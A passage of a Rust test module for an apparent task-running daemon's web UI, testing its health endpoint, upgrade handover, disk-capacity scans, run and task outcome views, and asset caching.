24179 capacity: known_disk_capacity(),
24180 ..Default::default()
24181 }));
24182 let (started, reached) = tokio::sync::oneshot::channel();
24183 let (release, blocked) = std::sync::mpsc::channel();
24184 DiskObservation::observe(&state, old_scope, move |_| {
24185 started.send(()).unwrap();
24186 blocked.recv().unwrap();
24187 known_disk_capacity()
24188 });
24189 tokio::time::timeout(Duration::from_secs(5), reached)
24190 .await
24191 .unwrap()
24192 .unwrap();
24193 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24194 let scans = duplicate_scans.clone();
24195 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24196 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24197 DiskCapacity::default()
24198 });
24199 assert!(changed.cache_bytes.is_none());
24200 assert!(changed.runs_bytes.is_none());
24201 release.send(()).unwrap();
24202 wait_for_disk_scan(&state).await;
24203 {
24204 let observation = state.lock().unwrap();
24205 assert!(observation.capacity.cache_bytes.is_none());
24206 assert!(observation.finished.is_none());
24207 }
24208 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
24209 assert_eq!(scope, &new_scope);
24210 DiskCapacity {
24211 cache_bytes: Some(999),
24212 ..Default::default()
24213 }
24214 });
24215 wait_for_disk_scan(&state).await;
24216 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
24217 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24218 }
24219
24220 #[tokio::test]
24221 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
24222 let home = TempDir::new().unwrap();
24223 let scope = disk_test_scope(home.path());
24224 let state = Arc::new(Mutex::new(DiskObservation {
24225 scope: Some(scope.clone()),
24226 capacity: known_disk_capacity(),
24227 ..Default::default()
24228 }));
24229 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
24230 wait_for_disk_scan(&state).await;
24231 {
24232 let mut observation = state.lock().unwrap();
24233 assert_eq!(observation.capacity.cache_bytes, Some(400));
24234 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
24235 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
24236 }
24237 DiskObservation::observe(&state, scope, |_| DiskCapacity {
24238 cache_bytes: Some(450),
24239 ..Default::default()
24240 });
24241 wait_for_disk_scan(&state).await;
24242 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
24243 }
24244
24245 #[test]
24246 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
24247 let home = TempDir::new().unwrap();
24248 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
24249 assert_eq!(disk_capacity_size(home.path()), Some(0));
24250 std::fs::create_dir(home.path().join("nested")).unwrap();
24251 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
24252 assert_eq!(disk_capacity_size(home.path()), Some(5));
24253 #[cfg(unix)]
24254 {
24255 assert_eq!(
24257 disk_capacity_size(&home.path().join("nested/data/child")),
24258 None
24259 );
24260 }
24261 #[cfg(unix)]
24262 {
24263 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
24264 assert_eq!(disk_capacity_size(home.path()), Some(5));
24265 }
24266 }
24267
24268 #[tokio::test]
24269 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
24270 let repo = TempDir::new().expect("repo dir");
24275 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24276 .expect("write magi.toml");
24277 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24278
24279 let health = fx.get("/api/health").await.json();
24280 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
24281 assert_eq!(
24282 health["update"]["available"], false,
24283 "checking is off, which reads as \"unknown\", not \"none\""
24284 );
24285 assert!(health["update"]["to"].is_null());
24286 assert!(
24287 health["upgrade"].is_null(),
24288 "nothing has ever asked this deck to upgrade"
24289 );
24290 }
24291
24292 #[tokio::test]
24293 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
24294 let fx = Fixture::start().await;
24295 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24296
24297 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24298 progress.parked_run = Some("20260905-000000-cd51".to_owned());
24299 progress.advance(crate::updater::Stage::Parking);
24300 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24301
24302 let health = fx.get("/api/health").await.json();
24303 assert_eq!(health["upgrade"]["stage"], "parking");
24304 assert_eq!(health["upgrade"]["from"], "0.5.1");
24305 assert_eq!(health["upgrade"]["to"], "0.5.2");
24306 let waiting_on = health["upgrade"]["waiting_on"]
24307 .as_str()
24308 .expect("waiting_on is set while parking a known run");
24309 assert!(waiting_on.contains("cd51"), "{waiting_on}");
24310 assert!(waiting_on.contains("implementing"), "{waiting_on}");
24311 }
24312
24313 #[tokio::test]
24314 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
24315 let fx = Fixture::start().await;
24316 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24317 progress.advance(crate::updater::Stage::Done);
24318 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24319
24320 let health = fx.get("/api/health").await.json();
24321 assert_eq!(health["upgrade"]["stage"], "done");
24322 assert!(
24323 health["upgrade"]["waiting_on"].is_null(),
24324 "nothing to wait on once it is done"
24325 );
24326 }
24327
24328 #[tokio::test]
24331 async fn the_handover_signal_wakes_one_waiter_once() {
24332 let signal = Notify::new();
24333 signal.notify_one();
24335 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
24336 .await
24337 .expect("an early signal is still seen");
24338 assert!(
24340 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
24341 .await
24342 .is_err(),
24343 "a consumed signal must not wake a second time"
24344 );
24345 let signal = std::sync::Arc::new(signal);
24347 let waiter = tokio::spawn({
24348 let signal = std::sync::Arc::clone(&signal);
24349 async move { wait_for_handover(&signal).await }
24350 });
24351 tokio::time::sleep(Duration::from_millis(20)).await;
24352 assert!(!waiter.is_finished(), "nothing was signalled yet");
24353 signal.notify_one();
24354 tokio::time::timeout(Duration::from_secs(5), waiter)
24355 .await
24356 .expect("a late signal wakes the waiter")
24357 .expect("join");
24358 }
24359
24360 #[tokio::test]
24361 async fn health_says_how_long_a_handover_has_been_stuck() {
24362 let fx = Fixture::start().await;
24363 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24364 progress.advance(crate::updater::Stage::Replaced);
24365 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24366 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24367
24368 let health = fx.get("/api/health").await.json();
24369 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24370 assert!(stuck >= 600, "{stuck}");
24371 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24372 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24373 }
24374
24375 #[tokio::test]
24376 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24377 let home = tempfile::tempdir().expect("temp home");
24378 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24379 progress.advance(crate::updater::Stage::Parking);
24380 crate::updater::write_progress(home.path(), &progress).expect("seed");
24381 let mut again = progress.clone();
24383 again.advance(crate::updater::Stage::Replaced);
24384 crate::updater::write_progress(home.path(), &again).expect("replaced");
24385 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24386 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24387 let after = crate::updater::read_progress(home.path()).expect("record");
24388 assert_eq!(after.stage, crate::updater::Stage::Parking);
24389 }
24390
24391 #[tokio::test]
24392 async fn health_does_not_call_a_live_parking_wait_stuck() {
24393 let fx = Fixture::start().await;
24394 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24395 progress.parked_run = Some("20260905-000000-cd51".to_owned());
24396 progress.advance(crate::updater::Stage::Parking);
24397 let hours = Duration::from_secs(3 * 3600);
24398 progress.started_at = Timestamp::now() - hours;
24399 progress.updated_at = Timestamp::now() - hours;
24400 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24401 let _lease = crate::updater::LeaseGuard::enter(
24402 fx.home.path(),
24403 Some("20260905-000000-cd51".to_owned()),
24404 );
24405
24406 let health = fx.get("/api/health").await.json();
24407 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24408 assert!(health["upgrade"]["stuck_kind"].is_null());
24409 assert_eq!(health["upgrade"]["handover_alive"], true);
24410 let waiting_on = health["upgrade"]["waiting_on"]
24411 .as_str()
24412 .expect("waiting_on");
24413 assert!(waiting_on.contains("cd51"), "{waiting_on}");
24414 }
24415
24416 fn idle_ui(home: &TempDir) -> Ui {
24417 let runs = home.path().join("runs");
24418 std::fs::create_dir_all(&runs).expect("runs dir");
24419 Ui::new(
24420 Queue::at(home.path().join("queue")),
24421 Questions::at(home.path().join("questions")),
24422 Talks::at(home.path().join("talks")),
24423 runs,
24424 home.path().to_path_buf(),
24425 PathBuf::from("/repo/magi"),
24426 )
24427 .with_launch(launch_idle)
24428 }
24429
24430 #[tokio::test]
24431 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24432 let home = TempDir::new().expect("temp home");
24433 let ui = idle_ui(&home);
24434 let lease = crate::worker::try_lease(home.path(), "scheduler")
24435 .expect("scheduler lease")
24436 .expect("free");
24437 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24438 .expect("request stop");
24439 let error = ui
24440 .start_detached_loop()
24441 .await
24442 .expect_err("transition is still live");
24443 assert_eq!(error.status, StatusCode::CONFLICT);
24444 assert!(error.message.contains("still running or stopping"));
24445 assert_eq!(
24446 crate::worker::control(home.path(), "scheduler").unwrap(),
24447 Some(crate::worker::Control::Stop)
24448 );
24449 drop(lease);
24450 }
24451
24452 #[tokio::test]
24453 async fn handover_releases_listener_without_waiting_for_execution_leases() {
24454 let home = TempDir::new().expect("temp home");
24455 let ui = idle_ui(&home);
24456 let turns = ui
24457 .begin_talk_turn("active-chat")
24458 .expect("claim")
24459 .expect("free");
24460 let execution = crate::worker::try_lease(home.path(), "active-task")
24461 .expect("execution lease")
24462 .expect("free");
24463 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24464 .await
24465 .expect("bind loopback");
24466 let address = listener.local_addr().expect("address");
24467 let admissions = Arc::clone(&ui.admissions);
24468 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24469 let successor_started = std::sync::atomic::AtomicBool::new(false);
24470 tokio::time::timeout(
24471 Duration::from_secs(2),
24472 hand_over(home.path(), &admissions, served, || {
24473 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24474 Ok(1)
24475 }),
24476 )
24477 .await
24478 .expect("restart must not wait for execution")
24479 .expect("handover");
24480 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24481 let successor = bind_waiting(address)
24484 .await
24485 .expect("successor binds released address");
24486 assert_eq!(successor.local_addr().unwrap(), address);
24487 assert!(turns.owns(), "the chat lease survives restart");
24488 assert!(
24489 crate::worker::try_lease(home.path(), "active-task")
24490 .unwrap()
24491 .is_none()
24492 );
24493 drop(execution);
24494 drop(turns);
24495 }
24496
24497 #[tokio::test]
24498 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
24499 let home = TempDir::new().expect("temp home");
24500 let ui = idle_ui(&home);
24501 let admission = ui.begin_admission().expect("admit send");
24502 let turn = ui
24503 .begin_talk_turn("active-chat")
24504 .expect("claim")
24505 .expect("free");
24506 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24507 .await
24508 .expect("bind loopback");
24509 let address = listener.local_addr().expect("address");
24510 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
24511 let successor_called = std::sync::atomic::AtomicBool::new(false);
24512 let handover = hand_over(home.path(), &ui.admissions, served, || {
24513 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
24514 Ok(1)
24515 });
24516 tokio::pin!(handover);
24517 std::future::poll_fn(|cx| {
24520 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24521 std::task::Poll::Ready(())
24522 })
24523 .await;
24524 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24525 assert!(
24526 ui.begin_admission().is_err(),
24527 "new ingress cannot race the drain"
24528 );
24529 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24530 drop(admission);
24531 tokio::time::timeout(Duration::from_secs(2), handover)
24532 .await
24533 .expect("only publication may delay restart")
24534 .expect("handover");
24535 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24536 assert!(
24537 turn.owns(),
24538 "the detached chat turn is not awaited or cancelled"
24539 );
24540 assert!(
24541 ui.begin_admission().is_err(),
24542 "old accepted connections stay closed"
24543 );
24544 drop(turn);
24545 }
24546
24547 #[test]
24548 fn health_worker_metadata_never_contains_payload_or_result() {
24549 let view = WorkerView::from(crate::worker::Job {
24550 id: "job".into(),
24551 sequence: 1,
24552 kind: "service".into(),
24553 key: "maintenance".into(),
24554 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24555 generation: "generation".into(),
24556 version: Some("1.2.3".into()),
24557 status: crate::worker::Status::Running,
24558 result: Some("private diagnostics".into()),
24559 pid: Some(4242),
24560 created_at: 1,
24561 finished_at: None,
24562 });
24563 let value = serde_json::to_value(view).expect("serialize public metadata");
24564 assert_eq!(value["version"], "1.2.3");
24565 assert_eq!(value["pid"], 4242);
24566 assert!(value.get("payload").is_none());
24567 assert!(value.get("result").is_none());
24568 assert!(!value.to_string().contains("private"));
24569 }
24570
24571 #[test]
24572 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24573 let home = TempDir::new().expect("temp home");
24574 let ui = idle_ui(&home);
24575 std::fs::write(
24576 home.path().join("daemon.json"),
24577 serde_json::json!({
24578 "schema": 2, "pid": 4242, "worker_protocol": 1,
24579 "updated_at": Timestamp::now().to_string(), "idle": true,
24580 })
24581 .to_string(),
24582 )
24583 .expect("status");
24584 let reading = daemon::read_status(home.path());
24585 assert!(Foreign::of(reading.as_ref()).is_none());
24586 let view = ui.runtime_loop_view(reading, &[]);
24587 assert!(view.running);
24588 assert!(view.owned);
24589 }
24590
24591 #[test]
24592 fn only_an_explicit_one_requests_a_resume() {
24593 assert!(!resume_requested(None));
24594 assert!(!resume_requested(Some("0".into())));
24595 assert!(!resume_requested(Some("".into())));
24596 assert!(resume_requested(Some("1".into())));
24597 }
24598
24599 #[test]
24600 fn an_error_is_visible_from_where_the_button_is() {
24601 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24606 ..APP_CSS.find(".alert-text").expect(".alert-text")];
24607 assert!(
24608 alert.contains("position: fixed"),
24609 "an error about the thing under your thumb has to be visible from \
24610 where your thumb is: {alert}"
24611 );
24612 assert!(
24613 alert.contains("z-index: 25"),
24614 "above the dock (20) and the run-actions FAB (15), so neither \
24615 buries it: {alert}"
24616 );
24617 assert!(
24618 alert.contains("var(--tap)"),
24619 "and clear of the dock and the home indicator: {alert}"
24620 );
24621 assert!(
24624 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24625 "the FAB's column stays free: {alert}"
24626 );
24627 }
24628
24629 #[tokio::test]
24630 async fn an_older_attempt_says_what_replaced_it() {
24631 let fx = Fixture::start().await;
24632 let q = fx.queue();
24633 let runs = fx.runs();
24634 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24635 write_run(&runs, first, RunStatus::Stalled);
24636 write_run(&runs, second, RunStatus::Blocked);
24637
24638 let mut t = Task::new(
24639 "one task".to_owned(),
24640 "do it".to_owned(),
24641 PathBuf::from("/repo"),
24642 Source::Human,
24643 );
24644 t.runs = vec![first.to_owned(), second.to_owned()];
24645 q.put(&mut t).expect("put");
24646
24647 let rows = fx.get("/api/runs").await.json();
24651 let by = |short: &str| -> Value {
24652 rows.as_array()
24653 .unwrap()
24654 .iter()
24655 .find(|r| r["short"] == short)
24656 .cloned()
24657 .unwrap_or(Value::Null)
24658 };
24659 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24660 assert!(
24661 by("bbbb")["superseded_by"].is_null(),
24662 "the latest attempt is not superseded by anything"
24663 );
24664 assert!(APP_JS.contains("run.superseded_by"));
24666 assert!(APP_JS.contains("Superseded by"));
24667 }
24668
24669 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24670 let mut t = Task::new(
24671 "one task".to_owned(),
24672 "do it".to_owned(),
24673 PathBuf::from("/repo"),
24674 Source::Human,
24675 );
24676 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24677 t.status = status;
24678 t
24679 }
24680
24681 #[test]
24682 fn source_link_picks_the_page_that_filed_the_task() {
24683 let agent = |node: &str| Source::Agent {
24684 run: "20260904-014455-ab12".to_owned(),
24685 node: node.to_owned(),
24686 };
24687 let chat = source_link(&agent("chat")).expect("chat link");
24688 assert_eq!(chat.kind, "chat");
24689 assert_eq!(chat.id, "20260904-014455-ab12");
24690 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24691 let run = source_link(&agent("implement")).expect("run link");
24692 assert_eq!(
24693 (run.kind, run.href.as_str()),
24694 ("run", "#/runs/20260904-014455-ab12")
24695 );
24696 assert_eq!(source_link(&Source::Human), None);
24697 assert_eq!(
24698 source_link(&Source::Issue {
24699 number: 3,
24700 repo: "o/r".to_owned()
24701 }),
24702 None
24703 );
24704 let odd = source_link(&Source::Agent {
24705 run: "a b/c".to_owned(),
24706 node: "chat".to_owned(),
24707 })
24708 .expect("link");
24709 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24710 }
24711
24712 #[test]
24713 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
24714 assert!(
24715 !APP_JS.contains("src.node === \"chat\""),
24716 "inline href rule is back"
24717 );
24718 assert!(
24719 APP_JS.matches("sourceLinkOf(").count() >= 4,
24720 "helper must serve every page"
24721 );
24722 assert!(
24723 APP_JS.matches("openChatLink(").count() >= 3,
24724 "the run page still needs its explicit chat link"
24725 );
24726 assert!(
24727 !APP_JS.contains("const openChat = el("),
24728 "the Queue card duplicates its source label link again"
24729 );
24730 assert!(
24731 APP_JS.contains("metaKids.push(link ? el(\"a\""),
24732 "the task page must link a chat source label too"
24733 );
24734 }
24735
24736 #[test]
24737 fn task_ref_carries_the_source_link_for_a_chat_task() {
24738 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24739 t.source = Source::Agent {
24740 run: "20260904-014455-ab12".to_owned(),
24741 node: "chat".to_owned(),
24742 };
24743 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
24744 let v = serde_json::to_value(&out).expect("json");
24745 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
24746 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
24747 assert_eq!(v["source_label"], t.source.label());
24748
24749 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24750 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
24751 .expect("json");
24752 assert!(v["source_link"].is_null(), "{v}");
24753 }
24754
24755 #[test]
24756 fn task_view_serializes_source_link() {
24757 let mut t = Task::new(
24758 "t".to_owned(),
24759 "t".to_owned(),
24760 PathBuf::from("/repo"),
24761 Source::Agent {
24762 run: "20260901-000000-aaaa".to_owned(),
24763 node: "implement".to_owned(),
24764 },
24765 );
24766 t.runs.clear();
24767 let v = serde_json::to_value(TaskView::from(t)).expect("json");
24768 assert_eq!(v["source_link"]["kind"], "run", "{v}");
24769 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
24770 }
24771
24772 #[test]
24773 fn task_view_serializes_urgent_flag() {
24774 let mut t = Task::new(
24775 "t".to_owned(),
24776 "t".to_owned(),
24777 PathBuf::from("/repo"),
24778 Source::Human,
24779 );
24780 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
24781 assert_eq!(v["urgent"], false, "{v}");
24782 t.urgent = true;
24783 let v = serde_json::to_value(TaskView::from(t)).expect("json");
24784 assert_eq!(v["urgent"], true, "{v}");
24785 assert!(APP_JS.contains("task.urgent === true"));
24786 }
24787
24788 #[tokio::test]
24789 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
24790 let fx = Fixture::start().await;
24791 let runs = fx.runs();
24792 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24793 write_run(&runs, old, RunStatus::Blocked);
24794 write_run(&runs, new, RunStatus::Merged);
24795 let mut t = outcome_task(&[old, new], TaskStatus::Done);
24796 fx.queue().put(&mut t).expect("put");
24797
24798 let view = fx.get(&format!("/api/runs/{old}")).await.json();
24799 let task = &view["task"];
24800 assert_eq!(task["status"], "done");
24801 assert_eq!(task["is_latest"], false);
24802 assert_eq!(task["latest"]["short"], "bbbb");
24803 assert_eq!(task["finished_by"]["id"], new);
24804 assert_eq!(task["finished_by"]["outcome"], "merged");
24805 assert_eq!(task["closed_by_hand"], false);
24806 assert_eq!(view["status"], "blocked", "the run keeps its own status");
24807 assert!(APP_JS.contains("finished_by"));
24808 assert!(APP_JS.contains("superseded by run"));
24809 }
24810
24811 #[tokio::test]
24812 async fn the_latest_run_reports_a_held_task_without_a_successor() {
24813 let fx = Fixture::start().await;
24814 let runs = fx.runs();
24815 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24816 write_run(&runs, old, RunStatus::Stalled);
24817 write_run(&runs, new, RunStatus::Blocked);
24818 let mut t = outcome_task(&[old, new], TaskStatus::Held);
24819 fx.queue().put(&mut t).expect("put");
24820
24821 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
24822 assert_eq!(task["status"], "held");
24823 assert_eq!(task["is_latest"], true);
24824 assert!(task["latest"].is_null());
24825 assert!(task["finished_by"].is_null());
24826 assert_eq!(task["closed_by_hand"], false);
24827 }
24828
24829 #[tokio::test]
24830 async fn a_direct_run_has_no_task_outcome() {
24831 let fx = Fixture::start().await;
24832 let runs = fx.runs();
24833 let id = "20260901-000000-aaaa";
24834 write_run(&runs, id, RunStatus::Blocked);
24835 let view = fx.get(&format!("/api/runs/{id}")).await.json();
24836 assert!(view["task"].is_null());
24837 }
24838
24839 #[test]
24840 fn task_outcome_does_not_guess_a_finishing_run() {
24841 let a = "20260901-000000-aaaa";
24842 let b = "20260901-000000-bbbb";
24843 let c = "20260901-000000-cccc";
24844 let dir = tempfile::tempdir().expect("tempdir");
24845 write_run(dir.path(), a, RunStatus::Blocked);
24846 write_run(dir.path(), b, RunStatus::VerifiedNoop);
24847 let read = |id: &str| read_run(dir.path(), id).ok();
24849 let t = outcome_task(&[a, b, c], TaskStatus::Done);
24852 let out = task_outcome(&t, a, 3, read);
24853 assert!(out.finished_by.is_none());
24854 assert!(out.closed_by_hand);
24855 let latest = out.latest.expect("latest");
24856 assert_eq!(latest.id, c);
24857 assert_eq!(latest.status, None);
24858 assert_eq!(latest.outcome, "record unreadable");
24859
24860 write_run(dir.path(), c, RunStatus::Ready);
24862 let t = outcome_task(&[a, c], TaskStatus::Done);
24863 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
24864 assert_eq!(out.finished_by.expect("finisher").id, c);
24865 assert!(!out.closed_by_hand);
24866
24867 let t = outcome_task(&[a, b, a], TaskStatus::Held);
24869 assert!(task_outcome(&t, a, 3, read).is_latest);
24870 }
24871
24872 #[tokio::test]
24873 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
24874 let fx = Fixture::start().await;
24879 let q = fx.queue();
24880 let runs = fx.runs();
24881 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
24882 write_run(&runs, first, RunStatus::Blocked);
24883 write_run(&runs, second, RunStatus::Merged);
24884
24885 let mut t = Task::new(
24886 "one task".to_owned(),
24887 "do it".to_owned(),
24888 PathBuf::from("/repo"),
24889 Source::Human,
24890 );
24891 t.runs = vec![first.to_owned(), second.to_owned()];
24892 q.put(&mut t).expect("put");
24893
24894 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
24895 assert_eq!(earlier["superseded_by"], "dddd");
24896 assert_eq!(earlier["latest_attempt"]["id"], second);
24897 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
24898 assert_eq!(
24899 earlier["latest_attempt"]["resolved"], true,
24900 "the run that replaced it landed, so this one reads as settled"
24901 );
24902
24903 let later = fx.get(&format!("/api/runs/{second}")).await.json();
24904 assert!(
24905 later["superseded_by"].is_null(),
24906 "the latest attempt is not superseded by anything"
24907 );
24908 assert!(
24909 later["latest_attempt"].is_null(),
24910 "the latest attempt has no later attempt of its own"
24911 );
24912
24913 assert!(APP_JS.contains("run.latest_attempt"));
24920 assert!(APP_JS.contains("data-superseded"));
24921 assert!(APP_JS.contains("#/runs/${latest.id}"));
24922 }
24923
24924 #[tokio::test]
24925 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
24926 let fx = Fixture::start().await;
24932 let q = fx.queue();
24933 let runs = fx.runs();
24934 let (a, b, c) = (
24935 "20260901-000000-aaaa",
24936 "20260901-000000-bbbb",
24937 "20260901-000000-cccc",
24938 );
24939 write_run(&runs, a, RunStatus::Blocked);
24940 write_run(&runs, b, RunStatus::Blocked);
24941 write_run(&runs, c, RunStatus::Merged);
24942
24943 let mut t = Task::new(
24944 "retried twice".to_owned(),
24945 "do it".to_owned(),
24946 PathBuf::from("/repo"),
24947 Source::Human,
24948 );
24949 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24950 q.put(&mut t).expect("put");
24951
24952 let view = fx.get(&format!("/api/runs/{a}")).await.json();
24953 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24954 assert_eq!(
24955 view["latest_attempt"]["id"], c,
24956 "the chain's current head, not the intermediate Blocked retry"
24957 );
24958 assert_eq!(view["latest_attempt"]["resolved"], true);
24959
24960 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24961 assert_eq!(mid["latest_attempt"]["id"], c);
24962 assert_eq!(mid["latest_attempt"]["resolved"], true);
24963 }
24964
24965 #[tokio::test]
24966 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24967 let fx = Fixture::start().await;
24968 let q = fx.queue();
24969 let runs = fx.runs();
24970
24971 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24974 write_run(&runs, still_blocked_a, RunStatus::Blocked);
24975 write_run(&runs, still_blocked_b, RunStatus::Blocked);
24976 let mut t1 = Task::new(
24977 "still stuck".to_owned(),
24978 "do it".to_owned(),
24979 PathBuf::from("/repo"),
24980 Source::Human,
24981 );
24982 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24983 q.put(&mut t1).expect("put");
24984 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24985 assert_eq!(view1["latest_attempt"]["resolved"], false);
24986 assert_eq!(view1["latest_attempt"]["status"], "blocked");
24987 assert_eq!(view1["latest_attempt"]["done"], true);
24988
24989 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24991 write_run(&runs, run_a, RunStatus::Blocked);
24992 write_run(&runs, run_b, RunStatus::Implementing);
24993 let mut t3 = Task::new(
24994 "retrying".to_owned(),
24995 "do it".to_owned(),
24996 PathBuf::from("/repo"),
24997 Source::Human,
24998 );
24999 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
25000 q.put(&mut t3).expect("put");
25001 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
25002 assert_eq!(view3["latest_attempt"]["id"], run_b);
25003 assert_eq!(view3["latest_attempt"]["resolved"], false);
25004 assert_eq!(view3["latest_attempt"]["done"], false);
25005
25006 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
25011 write_run(&runs, noop_a, RunStatus::Blocked);
25012 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
25013 let mut t2 = Task::new(
25014 "claims done".to_owned(),
25015 "do it".to_owned(),
25016 PathBuf::from("/repo"),
25017 Source::Human,
25018 );
25019 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
25020 q.put(&mut t2).expect("put");
25021 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
25022 assert_eq!(
25023 view2["latest_attempt"]["resolved"], false,
25024 "an unverified no-op claim must not read as a confirmed finish"
25025 );
25026
25027 assert!(APP_JS.contains("latest.resolved"));
25030 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
25033 assert!(APP_JS.contains("Latest attempt: "));
25034 assert!(APP_JS.contains("in flight"));
25035 assert!(APP_JS.contains("not resolved"));
25036 }
25037
25038 #[tokio::test]
25039 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
25040 let fx = Fixture::start().await;
25041 let js = fx.get("/app.js").await;
25047 assert_eq!(js.status, 200);
25048 let tag = js
25049 .header("etag")
25050 .expect("an etag to revalidate against")
25051 .to_owned();
25052 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
25053 assert_eq!(
25054 js.header("cache-control"),
25055 Some("no-cache, must-revalidate"),
25056 "the phone has to ask every time"
25057 );
25058
25059 let again = fx
25062 .get_with("/app.js", &[("if-none-match", tag.as_str())])
25063 .await;
25064 assert_eq!(
25065 again.status, 304,
25066 "a deck it already has costs one round trip"
25067 );
25068 assert!(again.body.is_empty(), "304 carries no body");
25069
25070 let weak = fx
25073 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
25074 .await;
25075 assert_eq!(weak.status, 304);
25076 let stale = fx
